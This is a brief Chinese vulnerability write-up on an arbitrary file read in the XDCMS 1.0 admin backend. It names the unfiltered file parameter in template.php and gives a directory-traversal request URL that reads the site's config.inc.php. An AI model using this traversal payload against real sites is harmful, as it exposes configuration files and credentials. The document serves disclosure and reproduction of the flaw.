XDCMS 1.0 后台任意文件读取¶
一、漏洞简介¶
二、漏洞影响¶
XDCMS 1.0
三、复现过程¶
漏洞文件漏洞文件:system\modules\xdcms\template.php,同上述xss漏洞相同
第43行未对文件进行限制,从而导致了目录遍历,造成任意文件读取
对GET数据没有过滤
http://url/xdcms/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
后台任意文件读取。